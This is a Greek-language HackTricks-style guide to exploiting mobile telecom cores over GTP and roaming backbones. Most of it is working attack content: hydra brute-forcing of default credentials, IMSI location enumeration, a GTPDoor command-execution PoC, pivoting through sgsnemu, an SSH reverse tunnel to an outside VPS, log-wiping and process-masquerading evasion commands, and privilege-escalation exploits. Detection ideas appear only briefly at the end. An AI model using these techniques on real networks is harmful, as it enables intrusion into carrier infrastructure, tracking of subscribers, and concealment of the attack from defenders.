141 lines
8.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Telecom Network Exploitation (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Οι πρωτόκολλοι κινητής πυρήνας (GPRS Tunnelling Protocol GTP) συχνά διασχίζουν ημι-εμπιστευτικά GRX/IPX roaming backbones. Επειδή διακινούνται μέσω απλού UDP με σχεδόν καμία αυθεντικοποίηση, **οποιοδήποτε σημείο εισόδου μέσα σε ένα τηλεπικοινωνιακό περίγραμμα μπορεί συνήθως να φτάσει απευθείας στους πυρήνες σήμανσης**. Οι παρακάτω σημειώσεις συγκεντρώνουν επιθετικές τεχνικές που παρατηρήθηκαν στην πράξη κατά SGSN/GGSN, PGW/SGW και άλλους κόμβους EPC.
## 1. Recon & Initial Access
### 1.1 Default OSS / NE Accounts
Ένα εκπληκτικά μεγάλο σύνολο στοιχείων δικτύου προμηθευτών έρχεται με σκληρά κωδικοποιημένους χρήστες SSH/Telnet όπως `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Μια αφιερωμένη λίστα λέξεων αυξάνει δραματικά την επιτυχία της βίαιης επίθεσης:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Αν η συσκευή εκθέτει μόνο ένα VRF διαχείρισης, κάντε pivot μέσω ενός jump host πρώτα (δείτε την ενότητα «SGSN Emu Tunnel» παρακάτω).
### 1.2 Ανακάλυψη Φιλοξενουμένων μέσα στο GRX/IPX
Οι περισσότεροι πάροχοι GRX εξακολουθούν να επιτρέπουν **ICMP echo** μέσω του backbone. Συνδυάστε το `masscan` με τους ενσωματωμένους UDP probes `gtpv1` για να χαρτογραφήσετε γρήγορα τους GTP-C listeners:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Απαρίθμηση Συνδρομητών `cordscan`
Το παρακάτω εργαλείο Go δημιουργεί πακέτα **GTP-C Create PDP Context Request** και καταγράφει τις απαντήσεις. Κάθε απάντηση αποκαλύπτει τον τρέχοντα **SGSN / MME** που εξυπηρετεί την ερωτηθείσα IMSI και, μερικές φορές, το επισκεπτόμενο PLMN του συνδρομητή.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Κύριες σημαίες:
- `--imsi` Στοχευόμενος συνδρομητής IMSI
- `--oper` Οικιακός / HNI (MCC+MNC)
- `-w` Γράψτε ακατέργαστα πακέτα σε pcap
Σημαντικές σταθερές μέσα στο δυαδικό αρχείο μπορούν να διορθωθούν για να διευρύνουν τις σάρωσεις:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Εκτέλεση Κώδικα μέσω GTP `GTPDoor`
`GTPDoor` είναι μια μικρή υπηρεσία ELF που **δεσμεύει το UDP 2123 και αναλύει κάθε εισερχόμενο πακέτο GTP-C**. Όταν το payload ξεκινά με μια προ-μοιρασμένη ετικέτα, το υπόλοιπο αποκρυπτογραφείται (AES-128-CBC) και εκτελείται μέσω του `/bin/sh -c`. Η stdout/stderr εξάγονται μέσα σε **μηνύματα Echo Response** έτσι ώστε να μην δημιουργηθεί ποτέ εξωτερική συνεδρία.
Ελάχιστο πακέτο PoC (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Ανίχνευση:
* οποιοσδήποτε κόμβος στέλνει **μη ισορροπημένα Echo Requests** σε IP SGSN
* η σημαία έκδοσης GTP ρυθμισμένη σε 1 ενώ ο τύπος μηνύματος = 1 (Echo) απόκλιση από την προδιαγραφή
## 4. Pivoting Through the Core
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` παρέχει έναν εξομοιωτή SGSN ικανό να **δημιουργήσει ένα PDP context προς έναν πραγματικό GGSN/PGW**. Μόλις διαπραγματευτεί, το Linux λαμβάνει μια νέα διεπαφή `tun0` προσβάσιμη από τον περιπλανώμενο ομότιμο.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Με σωστό hair-pinning του firewall, αυτό το τούνελ παρακάμπτει τα VLAN που χρησιμοποιούνται μόνο για σήματα και σας προσγειώνει απευθείας στο **data plane**.
### 4.2 SSH Reverse Tunnel over Port 53
Το DNS είναι σχεδόν πάντα ανοιχτό σε υποδομές roaming. Εκθέστε μια εσωτερική υπηρεσία SSH στο VPS σας που ακούει στο :53 και επιστρέψτε αργότερα από το σπίτι:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Ελέγξτε ότι το `GatewayPorts yes` είναι ενεργοποιημένο στον VPS.
## 5. Κρυφά Κανάλια
| Κανάλι | Μεταφορά | Αποκωδικοποίηση | Σημειώσεις |
|--------|----------|----------------|------------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | καθαρός παθητικός ακροατής, χωρίς εξερχόμενη κίνηση |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) κωδικοποιημένο σε A-record octets | παρακολουθεί για `*.nodep` υποτομέα |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob σε ιδιωτικό IE | αναμειγνύεται με νόμιμο GTP-C θόρυβο |
Όλοι οι εμφυτευμένοι υλοποιούν watchdogs που **timestomp** τα δυαδικά τους και επανεκκινούν αν καταρρεύσουν.
## 6. Cheatsheet Αποφυγής Άμυνας
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Κλιμάκωση Δικαιωμάτων σε Κληρονομημένα NE
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
Συμβουλή καθαρισμού:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Εργαλειοθήκη
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` προσαρμοσμένα εργαλεία που περιγράφονται σε προηγούμενες ενότητες.
* `FScan` : εσωτερικές σάρωσεις TCP (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS κακόβουλο WPAD
* `Microsocks` + `ProxyChains` : ελαφρύ SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / σύνδεση πόρων
---
## Ιδέες Ανίχνευσης
1. **Οποιαδήποτε συσκευή εκτός από SGSN/GGSN που δημιουργεί αιτήματα Δημιουργίας PDP Context**.
2. **Μη τυπικές θύρες (53, 80, 443) που λαμβάνουν SSH handshakes** από εσωτερικές IP.
3. **Συχνά Echo Requests χωρίς αντίστοιχες Echo Responses** μπορεί να υποδηλώνει GTPDoor beacons.
4. **Υψηλός ρυθμός κυκλοφορίας ICMP echo-reply με μεγάλα, μη μηδενικά πεδία αναγνωριστικού/ακολουθίας**.
## Αναφορές
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
{{#include ../../banners/hacktricks-training.md}}